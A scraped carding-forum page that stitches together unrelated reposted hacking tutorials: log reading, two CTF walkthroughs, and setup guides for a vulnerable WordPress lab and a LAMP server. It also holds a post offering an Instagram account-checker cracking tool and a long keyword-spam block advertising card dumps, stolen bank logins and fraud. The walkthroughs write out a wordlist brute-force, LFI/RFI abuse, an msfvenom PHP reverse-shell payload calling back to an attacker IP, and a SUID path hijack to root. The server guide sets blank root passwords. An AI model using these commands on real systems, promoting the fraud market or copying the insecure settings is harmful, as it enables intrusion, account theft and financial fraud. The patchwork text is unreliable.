tail access.log | grep -A 2 "bwapp"

Here -A stand for after, therefore it will filter 2 logs created after bwapp logs and hence it will indicate 2 logs of WordPress as shown in the given image.
[Image: 13.png?w=687&ssl=1]
Similarly, apply the filter using before parameter and type following command with a specific argument.
tail access.log | grep -B 2 "wordpress"
1
tail access.log | grep -B 2 "wordpress"

Here -B stands for before, therefore it will filter 2 logs created before WordPress logs and hence it will indicate 2 logs of bwapp as shown in the given image.
[Image: 14.png?w=687&ssl=1]
Auth Log
Auth.log file holds system authorization information; including user login attempts either successful or failure both type of log records as well as authentication method that were used for establishing a connection with the server, for example, SSH login between server and client
Location: /var/log
Again I had used echo command to remove all previous record from inside auth.log
echo>auth.log
1
echo>auth.log

[Image: 15.png?w=687&ssl=1]
Suppose the client uses putty for ssh login into the server.
[Image: 16.png?w=687&ssl=1]
If the client having a valid credential for ssh then he will get successfully login into the server. From the given image you can see I had successfully login into the server. Hence inside server auth.log file, it will create a new record for SSH login successful.
[Image: 17.png?w=687&ssl=1]
While in the next image you can read access denied message which means fail in login into an SSH server. Hence this time inside auth log again a new record will be created for SSH login failure.
[Image: 18.png?w=687&ssl=1]
Now let‘s read the whole records of the auth log file for above client activities using cat command.
cat auth.log
1
cat auth.log

From the given image you can read the logs for successful and failed login.
[Image: 19.png?w=687&ssl=1]
Vsftpd Log
Vsftd log holds system authentication log for FTP login records either success or failure.
Location: /var/log
I had deleted all previous logs using echo command and using WinSCP for FTP server login. You can observe that we had login successfully. Hence it will create a new record in vsftpd.log for client login successfully.
[Image: 20.png?w=687&ssl=1]
Now let’s verify it though vsftpd log file and use cat command for reading the whole file. From the given image you can observe it has created a record in the log file for client 192.168.0.104 is CONNECT.
cat vsftpd.log
1
cat vsftpd.log

[Image: 22.png?w=687&ssl=1]
System Log
syslog is a standard for system logs or message logging. The administrator may use syslog for system management and security auditing as well as general informational, analysis, and debugging messages. A wide variety of devices, such as printers, routers, and message receivers across many platforms use the syslog standard.
Location: /var/log
Use cat command for reading syslog as shown in the given image.
cat syslog
1
cat syslog

[Image: 23.png?w=687&ssl=1]
APT Log
The apt is a standard command-line tool in UNIX, which works for performing functions such as the installation of new software packages, upgrade of existing software packages, updating of the package list index, and even upgrading the entire Ubuntu system.
Location: /var/log
Hence apt contain its own log file for all new and previous installed software. It has two log file as:
  • log : /var/log/apt
  • log /var/log/apt
Now type the following command for reading history log of apt.
cat history.log
1
cat history.log

[Image: 24.png?w=687&ssl=1]
From the given image you can observe the result which contains information about software installation and updates.
It was a brief theory for reading logs in the simplest way.
[Image: 25.png?w=687&ssl=1]


  [Guide] How to Hack the 64base VM (CTF Challenge)
Posted by: NINZA - 05-10-2020, 05:22 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another CTF challenge known as 64base. The credit for making this vm machine goes to “3mrgnc3” and it is another capture the flag where author has hidden flag for the attacker as a challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.118 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]
Use nmap for port enumeration
nmap -p- sV 192.168.1.118
[Image: 2.png?w=687&ssl=1]
We found that port 80 is open, so let’s open this ip in our browser.
[Image: 3.png?w=687&ssl=1]
When we take a closer look at the source code, we found a long encoded string comment.
[Image: 4.png?w=687&ssl=1]
It is hexadecimal encoded, after decoding it we found another base64 encoded string. Decoding the latter string we found our 1st flag.
[Image: 5.png?w=687&ssl=1]
Now inside the flag is another base64 string, we decode it and find a username and password.
[Image: 6.png?w=687&ssl=1]
Now we take a look around the site in the first post we find hint, using cewl we make a dictionary of this page and find that Imperial-Class directory exists.
[Image: 17.png?w=687&ssl=1]
Opening the link, it will ask for password and username. We use the username and password that we found earlier to login. When we open this link we find a hint, so we take a look at the source code.
[Image: 7.png?w=687&ssl=1]
Inside the source code we find another hint for a link.
[Image: 8.png?w=687&ssl=1]
When we open this link we find a login page. When we look at the source code of the login page we find that when data is submitted a file called login.php is handling the login form. So we take a look at that page.
[Image: 11.png?w=687&ssl=1]
Here we found a few strings that are encoded in hexadecimal, when we decode them individually we find they are part of a bigger string so we join the strings together and decode it.
[Image: 12.png?w=687&ssl=1]
The string is in hexadecimal format, when we decode it we find a base64 encoded string. When we decode the base64 string we find our 2nd flag. Inside the flag is another base64 encoded string, when we decode it we find that it is a link to a youtube video.
[Image: 13.png?w=687&ssl=1]
From this video we are hinted that we should use burp suite. So we start the burp suite to capture the request of the login page.
[Image: 14.png?w=687&ssl=1]
After capturing the request we sent it to repeater, here in the response we get the 3rd flag.  Inside the flag we see a base64 encoded string.
[Image: 15.png?w=687&ssl=1]
After decoding the flag we get a link.
[Image: 16.png?w=687&ssl=1]
Here we don’t find anything, then we remember the hint what we found on the first page.
[Image: 17.png?w=687&ssl=1]
So we replace exec with system and try to run our command.
[Image: 18.png?w=687&ssl=1]
Here we find our 4th flag and we find that inside the flag contains base64 encoded string. After decoding it we find a username and password now we are going to use it to login into ssh After failing a few times, I encoded the password again in base64 format.
[Image: 19.png?w=687&ssl=1]
Now we are going to login through ssh, we know from netcat that port 62964 is running openssh.
[Image: 20.png?w=687&ssl=1]
Now that we are inside the shell, we list the files in the current directory.
[Image: 21.png?w=687&ssl=1]
We open the file and get a random message, after trying a few commands it is possible that the functions of the commands have been changed. So we check the path of commands
echo $PATH/*
[Image: 22.png?w=687&ssl=1]
We find that path of the commands have been changed. We see that there is a command called droids, we run it to see what it does.
[Image: 23.png?w=687&ssl=1]
After running the command we get a matrix screen, when we close it we get this message given in the above image. Earlier we weren’t able to change directory, now after running the command we were able to change directories.
After going through the files we find a hint inside /var/www/html/admin. We find a folder called S3cR37/ we move into this folder and find our 5th flag.
[Image: 24.png?w=687&ssl=1]
Inside the flag5 we find a base64 string when we decode it, it gave us a hint.
[Image: 25.png?w=687&ssl=1]
Now cat command doesn’t work so we use strings command to find the strings inside the file.
[Image: 26.png?w=687&ssl=1]
We find a hexadecimal encoded string, we copy it into a file on our local system and decode it and find it is an rsa key.
[Image: 27.png?w=687&ssl=1]
We remove its permission using command:
chmod 600 rsa_key
Then we connect to root using this key
ssh 192.168.1.118 –I rsa_key 
When we try to login it ask for a passphrase, after a lot of searching we send the flag5 file to our system for more information.
scp -P 62964 [email protected]:/var/www/html/admin/S3cR37/flag5* \  > /root/Desktop/flag5.jpeg
[Image: 28.png?w=687&ssl=1]
Now we open the file on the local system, inside the file we find another hint to use the force.
[Image: 29.png?w=687&ssl=1]
After trying some passphrases, we found the passphrase is usetheforce
Now when we can login through ssh.
[Image: 30.png?w=687&ssl=1]
We find the final flag; inside the flag we find a hexadecimal string. When we decode the string we find a base64 string, again when we decode the string we find a hexadecimal string, when we decode the hexadecimal string we again find a base64 string. When we decode it we finally get a message that looks like a command.
[Image: 32.png?w=687&ssl=1]
When we run this command on the VM, we get a congratulation message that we completed the CTF.
[Image: 33.png?w=687&ssl=1]

Today we are demonstrating how to install and configure WordPress for penetration testing inside the web server. To configure WordPress, you must install any web host software such as xampp/wamp or read our previous article “

[To see content please register here]

” which will help in setting up of your own localhost web server. Here we are using our own web server which had to configure in Ubuntu 14.04.

WordPress is a free and open-source content management system (CMS) based on PHP and MYSQL. It is installed on a web server that is either part of an Internet hosting service or a network host in its own right. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites.
For more detail visit

[To see content please register here]


Let’s start!!
If you have read our

[To see content please register here]

article, then you might be remembering that we had specified blank space as the password for the root user. Now start with login into phpmyadmin as the root user.

[Image: 0.png?w=687&ssl=1]
phpmyadmin is separated into two parts left and right panels. The left panel contains the name of existing databases and the right panel contains a functional setting for performing maintenance operations on tables, backing up information, editing things and creating or deleting the database.
In order to store WordPress data, we need to create a new database. Now click on the databases tab given at the top of the right panel.
[Image: 1.png?w=687&ssl=1]
Now enter the name for database system such as WordPress and then click on create. After that, you will observe a new database “WordPress” will get added into the left panel.
[Image: 2.png?w=687&ssl=1]
Open the terminal and type following command to download WordPress inside /var/www/html
wget

[To see content please register here]


1
wget

[To see content please register here]


[Image: 3.png?w=687&ssl=1]
Now unzip the folder of latest.zip
unzip latest.zip
ls

1
2

unzip latest.zip
ls

From the given image you can see we have a folder of WordPress inside /html/ directory.
[Image: 4.png?w=687&ssl=1]
Now for WordPress installations open it on the browser through URL: http:// localhost/wordpress as shown in the given image.  At the end of the window click on let’s go to proceed for installation.
[Image: 5.png?w=687&ssl=1]
At another window enter your database connection information such as:
Database Name: wordpress
Username: root
Password: (null)
Database host: localhost

1
2
3
4

Database Name: wordpress
Username: root
Password: (null)
Database host: localhost

Now click on the submit tab.
[Image: 6.png?w=687&ssl=1]
In the next window, you will get some code of line to configure the wp-config.php file as shown in the given image. Now copy the highlighted text into a text document. After you have done come back and click on run the install.
[Image: 7.png?w=687&ssl=1]
As you can see we have pasted above copy text inside a text file and then save it as wp-config.php on the desktop.
[Image: 8.png?w=687&ssl=1]
Since we have saved wp-config.php on the desktop, therefore, we are going to shift it inside /var/www/html/wordpress using the following command.
mv /home/raj/Desktop/wp-config.php .
1
mv /home/raj/Desktop/wp-config.php .

After then go back to the previously open tab and click on Run the install.
[Image: 9.png?w=687&ssl=1]
“Welcome” the new window will come up, now fills the information below and you’ll be on the way for WordPress installation.
Site title: Pentest Lab
Username: admin
Password: password
Email: (your email ID)

1
2
3
4

Site title: Pentest Lab
Username: admin
Password: password
Email: (your email ID)

At last click on “install WordPress” tab given at the end of the window.
[Image: 10.png?w=687&ssl=1]
Once WordPress will successfully install, click on log in as shown in the given image.
[Image: 11.png?w=687&ssl=1]
Now enter your WordPress credential for login.
[Image: 12.png?w=687&ssl=1]
Great!!  Finally our website “pentest lab” is online on localhost server and is ready posting articles and blogs.
Now we need to add some Plug-in WordPress so that we can make WordPress penetration testing by exploiting these plug-in based vulnerabilities. WordPress’ plug-in architecture allows users to extend the features and functionality of a website or blog.
[Image: 13.png?w=687&ssl=1]
Now type the following command to give all permission to the file and folder own by www-data of /var/www/html.
sudo chown –R www-data /var/www/html
1
sudo chown –R www-data /var/www/html

[Image: 14.png?w=687&ssl=1]
For penetration testing practice we are going to download some vulnerable plug-in so that we have our own vulnerable WordPress site.
We had downloaded a vulnerable plug-in “reflex gallery 3.1.3 arbitrary file upload” found from inside the exploit-db.com, you can download many another vulnerable plug-in from exploit database.
[Image: 15.png?w=687&ssl=1]
Now login into WordPress as admin to access administration control panel and then select plugins option from the dashboard and go for the new plugin so that you can add your install plug-in in your WordPress.
[Image: 16.png?w=687&ssl=1]
Now browse you downloaded the zip file and then click on upload plugin for installation.
[Image: 17.png?w=687&ssl=1]
It will install the plug-in into WordPress, now to activate it click on given tab Activate Plugin as shown in the given image.
[Image: 18.png?w=687&ssl=1]
Similarly, you can install as much as can be possible vulnerable plug-in into WordPress. You can see we had installed many plug-ins inside our WordPress so that we can make more practice on WordPress penetration testing which you will learn in our next upcoming article.
Wait for our next article where you will how to exploit WordPress plug-in base vulnerability.
[Image: 19.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as EW skuzzy. The credit for making this vm machine goes to “vortexau” and it is another capture the flag where author has hidden flag for the attacker as a challenge. You can download this VM here.
Let’s Breach!!!
The target holds 192.168.1.112 as network IP; now using nmap lets find out open ports.
nmap -sV 192.168.1.112
From give image you can check port 22 for SSH, 80 for TCP and 3260 for iscsi are open in target network.
[Image: 1.png?w=687&ssl=1]
We tried to connect it using ssh but didn’t find any clue, so we opened this IP in browser.
[Image: 2.png?w=687&ssl=1]
Ok now we spent some time on this site after using dirb and nikto we found some troll flags.
So we move on to the next port 3260 that is running the iscsi, ISCSI stands for Internet Small Computer Systems Interface. It is used for linking data storage facilities in a network.
You can check which targets are available by using the iscsiadm utility. Enter the following in a terminal:
iscsiadm -m discovery -t -st –p 192.168.1.112
Then we connect to the data storage
iscsiadm –m node –login
[Image: 3.png?w=687&ssl=1]
Now we check if the data storage is available.
fdisk –l
[Image: 4.png?w=687&ssl=1]
We see that 1 new storage /dev/sdb is available. Now we will mount this storage to access it.
mount /dev/sdb /root/Desktop/raj
[Image: 5.png?w=687&ssl=1]
After mounting the storage device we move into the storage and check the content of the storage.
[Image: 6.png?w=687&ssl=1]
We find our 1st flag, we also found a disk image inside the storage we now mount this disk to check the content of the disk.
[Image: 7.png?w=687&ssl=1]
Now we move inside the disk storage we found an eml file “ToAlice.eml” and an encrypted file “ToAlice.csv.enc”. We open the eml file and find our 2nd flag.
We also find that that the encrypted file is encrypted in 256-bit encryption through the eml file.
[Image: 8.png?w=687&ssl=1]
When we decrypt the file we find that it requires a password. So first we Bruteforce the encrypted file to obtain the password. The eml file also gave us the hint to use the rockyou wordlist. So we are going to use it for our bruteforce.
bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -d sha256 -c AES-256-CBC ToAlice.csv.enc
[Image: 9.png?w=687&ssl=1]
We now have the password “supercalifragilisticoespialdoso”. We use openssl to decrypt the file.
openssl enc -d -aes256 -md sha256 -salt -in ToAlive.csv.enc -out alive -k supercalifragilisticoespialdoso
[Image: 10.png?w=687&ssl=1]
We find the 3rd flag, we also found some random strings. We first tried to decrypt it but they weren’t encrypted in the first place. Then we found that these were actually page name.
We open these in browser the first page gives us a site that doesn’t contain anything significant just some trolling.
[Image: 11.png?w=687&ssl=1]
The second page contains some content that looks useful.
[Image: 12.png?w=687&ssl=1]
After playing around the site we found our hint, we move to feed reader.
[Image: 13.png?w=687&ssl=1]
We open the load feed link.
[Image: 14.png?w=687&ssl=1]
Here we found our hint that there is a PHP file maybe hiding something useful so we use dirb to find all the php files inside this folder.
dirb

[To see content please register here]

-X .php

[Image: 15.png?w=687&ssl=1]
Now we find all the php files in the folder. When we open these files it gives us another hint. After taking a look at the URL we found that RFI may be possible on this site.
[Image: 16.png?w=687&ssl=1]
When we use RFI it says it requires an authentication key.
[Image: 17.png?w=687&ssl=1]
So we move to LFI, we open the PHP files using curl through LFI. We use php filter to bypass the security.
[Image: 18.png?w=687&ssl=1]
After scrolling down we found a base64 encoded string.
[Image: 19.png?w=687&ssl=1]
After decoding the file we found the 4th flag.
[Image: 20.png?w=687&ssl=1]
Now we open the other php files. After going through the files we found the next hint in “reader.php”.
We open the “reader.php” using LFI.
[Image: 21.png?w=687&ssl=1]
We again find a base64 string inside the file.
[Image: 22.png?w=687&ssl=1]
After decoding the string we found it was a php code. In the code we found our next hint, it states that the key is 47 characters long. After going through all my notes I found that flag4 was 47 characters long so we used it as the key and it worked.
[Image: 23.png?w=687&ssl=1]
Now we create a payload using msfvenom and save it as a text file.
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 > /root/Desktop/ra.txt
[Image: 24.png?w=687&ssl=1]
After creating the file we then edit the file, we replace <?php with ##php##.
[Image: 25.png?w=687&ssl=1]
Then we use RFI to execute the shell on the server to get the meterpreter. Also add the Key at the end of the url.
[Image: 26.png?w=687&ssl=1]
We then start the listener in metasploit.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.120
set lport 4444
exploit
[Image: 27.png?w=687&ssl=1]
Using RFI we execute the payload and got the shell
meterpreter > sysinfo
meterpreter > shell
echo "import pty; pty.spawn('/bin/bash')" &gt; /tmp/asdf.py
python /tmp/asdf.py

1
2

echo "import pty; pty.spawn('/bin/bash')" &gt; /tmp/asdf.py
python /tmp/asdf.py

Then we find executable files on the system
find / -perm -4000 2>/dev/null
[Image: 28.png?w=687&ssl=1]
We found the file /opt/alicebackup when we execute the file we found the file contains id command.
So we copy /bin/sh into id
cp /bin/sh id
and export the path to tmp/ folder
export PATH:/tmp/$PATH
then execute the file /opt/alicebackup
[Image: 29.png?w=687&ssl=1]
Now we when we execute the file, we get the root shell. After getting the root shell we move into the /root/ folder and find the final flag.
[Image: 30.png?w=687&ssl=1]

Hello friends! Today you will learn how to configure your own web server using Ubuntu inside the virtual machine and install LAMP services for web server configuration.
Let’s Begin!!
We are using VM  Workstation 12 for Ubuntu installation, now for the guidance step by step.
Choose typical (1st options)for configuration and click on Next.
[Image: 1.png?w=687&ssl=1]
Since I have already downloaded Ubuntu 14.04 of 64 bit in my windows operating system, so let Browse it as shown in the given image.
Click on Next.
[Image: 2.png?w=687&ssl=1]
Now enter information for personalizing Linux inside text filed
  • Full name: pentestlab
  • Username: raj
  • Password: 123
  • Confirm: 123
Then click on next.
[Image: 3.png?w=687&ssl=1]
Specify disk capacity according to your desire as 20 GB I had specified.
Choose Split virtual disk into multiple files and then click on Next.
[Image: 4.png?w=687&ssl=1]
Now make some changes in setting through Customize Hardware before you click on Finish.
[Image: 5.png?w=687&ssl=1]
Change network adapter setting into Bridged and select the checkbox for Replicate physical network connection state.
Then click on Close then Finish.
This will create a new virtual machine inside your VM workstation.
[Image: 6.png?w=687&ssl=1]
Now, wait for a small period of time till it boots up automatically after then it will start installation which will take some time.
[Image: 7.png?resize=687%2C478&ssl=1]
Now enter your password for login.
[Image: 8.png?w=687&ssl=1]
Now we need to install LAMP service, which is a collection of open source software used to make web servers up and running. The LAMP stands for Linux, Apache, MySQL, and PHP.
For installation, the user must have root privileges now type the following command inside the terminal to begin.
sudo bash
apt-get update

1
2

sudo bash
apt-get update

[Image: 9.png?w=687&ssl=1]
Apache HTTP Server is cross-platform, meaning that it is built for a Unix-like system. Apache played a key function for the World Wide Web.
apt-get install apache2
1
apt-get install apache2

[Image: 10.png?w=687&ssl=1]
MySQL is the world’s most popular open-source database. MySQL is simple to set up and easy to use.
apt-get install mysql-server
1
apt-get install mysql-server

[Image: 11.png?w=687&ssl=1]
You will get a prompt, Press enter to set password “blank” for root user in MySQL configuration
[Image: 12.png?w=687&ssl=1]
Again press enter
[Image: 13.png?w=687&ssl=1]
phpMyAdmin is a free software tool written in PHP, proposed to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL.
apt-get install phpmyadmin
1
apt-get install phpmyadmin

[Image: 14.png?w=687&ssl=1]
Choose apache2 web server that will be automatically configured to run phpmyadmin.
[Image: 15.png?w=687&ssl=1]
Again a prompt will open to submit the password for phpmyadmin, to register with the database server.
Press enter to left password “blank” for phpadmin.
[Image: 16.png?w=687&ssl=1]
Now in order configure phpmyadmin under Apache, you need to edit “/etc/apache2/apache2.conf” at the end of apache2.conf file. Therefore type the following command to open the apache2.conf
cd /etc/apache2
gedit apache2.conf

1
2

cd /etc/apache2
gedit apache2.conf

[Image: a.png?w=687&ssl=1]
Once the file gets opened type following text at the end of the file as shown in the given image
# phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
1
Include /etc/phpmyadmin/apache.conf

After editing, save the file and restart apache2 service.
[Image: b.png?w=687&ssl=1]
Since we had given blank space as the password for phpmyadmin, therefore, we need to make some changes inside its file “ configuration.inc.php” so that it could Allow No Password while login into the database.
Type following command to open config.inc.php
gedit /etc/phpmyadmin/config.inc.php
1
gedit /etc/phpmyadmin/config.inc.php

[Image: c.png?w=687&ssl=1]
Focus on highlighted comment remove double pipe (||) to activate this comment.
[Image: d.png?w=687&ssl=1]
Now you can observe the given image is highlighting the following comment:
ALLOW NO PASSWORD = TRUE
[Image: e.png?w=687&ssl=1]
Now open myphpadmin in the browser as localhost/phpmyadmin as shown in the image.
[Image: f.png?w=687&ssl=1]
Install the PHP 5 module for Apache 2 and all of its dependencies.
apt-get install php5 libapache2-mod-php5
1
apt-get install php5 libapache2-mod-php5

Hence we had install LAMP services inside Ubuntu, therefore, it will operate as a web server.
[Image: 17.png?w=687&ssl=1]
Now install some other useful services for sharing data between server and client.
Secure Shell (SSH) is a cryptographic network protocol for operating network services securely over an unsecured network. It is a TCP protocol holds port 22 to establish communication between server and client.
apt-get install openssh-server
1
apt-get install openssh-server

[Image: 18.png?w=687&ssl=1]
Install vsftpd service, it is the default FTP server in the Ubuntu, it is also a tcp protocol hold port 21 for data transfer.
apt-get install vsftpd
1
apt-get install vsftpd

[Image: 19.png?w=687&ssl=1]
In order to ensure that the above service has been installed properly in your system use nmap which will scan your system and then tell open ports and running services on your system.
To run nmap,  first, install it through the following command
apt-get install nmap
1
apt-get install nmap

[Image: 20.png?w=687&ssl=1]
Now scan your system using nmap to make sure of running services.
nmap 127.0.0.1
1
nmap 127.0.0.1

From given below image you can check it has dumped the result which has disclosed the running service of my system.
[Image: 21.png?w=687&ssl=1]


  New Instagram Checker
Posted by: DarkHoLLoW - 05-10-2020, 04:19 AM - Forum: Cracking Tools - No Replies

✼ Author : TeamOptimus ✼
✼ Version : N/A✼
✼ Support Proxy : HTTPS | SOCKS4 | SOCKS5✼
✼ Captures : Full✼

Download Link:



Quote:The contents of this section are hidden for your group

Register or Login


 


Blackhat Carding forum



Search keywords: the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs,carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, WebMoney carding, card clone, the best hacking country, india hackers team, alboraaq , pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, x'xx passwords, WebMoney hacking, abh cc live, fresh smtp, hacking forum scam free smtp, wmz carding , spam paypal, caring, true carders, carding board, what is the best hacking forum, www.hackingforum.ru, www.carderscave.ru, www.darkgeo.com, www.darkgeo.su, www.darkgeo.ru, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer only for real hackers, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com. Carding forum, Carders Forum, Hacking Forum, Hackers Forum, Cheap WU Transfer, CCV Dumps, Legit Carders 2020, ATN Team, Altenen, Hacking Tutorials, Free Premium Porn Accounts, Carding Tools 2020, Fraud Carding, Fraudsters Marketplace, Carding Forum Scam, Inbox Spamming, Free Mailer PHP, Free VPN 2020, Best VPN 2020, AlphaBay Market, Free Fresh Mail Leads, Real Hacker Forum, Alboraaq Review, Alboraaq Hackers, Perfect Money Stealer, Darknet Forums, Darknet Hackers, Darknet Carders, Cardable Websites 2020, Buy Credit Card Dumps, Western Union Generator, Money Gram Transfers Cheap, Free CVV, Free RDP, Cheap RDP, Amazon Carding 2020, NonVBV Cardable Websites, TOR VPN 2020, Russian Carding Forum, UK Carding Forums, Bitcoin Wallet Stealer, Bitcoin Carding, Bank Stealer, Hacked Bank Logins, Bank Logins, Free Keyloggers 2020, Best Keylogger Download, Free Receipt Generator, Card Bitcoins easy, Amazon method, Best Pakistan Carders, Dumps Section, Legit Carding, Unseen, Tutamail, Deepdotweb, CC Live, Free premium logs, iPhone 6s Carded, Cheap Electronics Carding, Black Marketplace, Cheap Bank Transfers, Carding Tools, Havij Hacking, India Hackers, Cheap Apple Carding 2020, PayPal Dumps Logs, Market Hackers, Fresh email logs, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs, carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, hacking stuff, card clone, the best hacking country, india hackers team, alboraaq scamming, pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, xxx passwords, xxx username and passwords, abh cc live, fresh smtp, hacking forum scam free smtp, ams spamming, spam paypal, caring, true carders, carding board, what is the best hacking forum, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com, altenen, altenen.com, alboraaq, alboraaq.com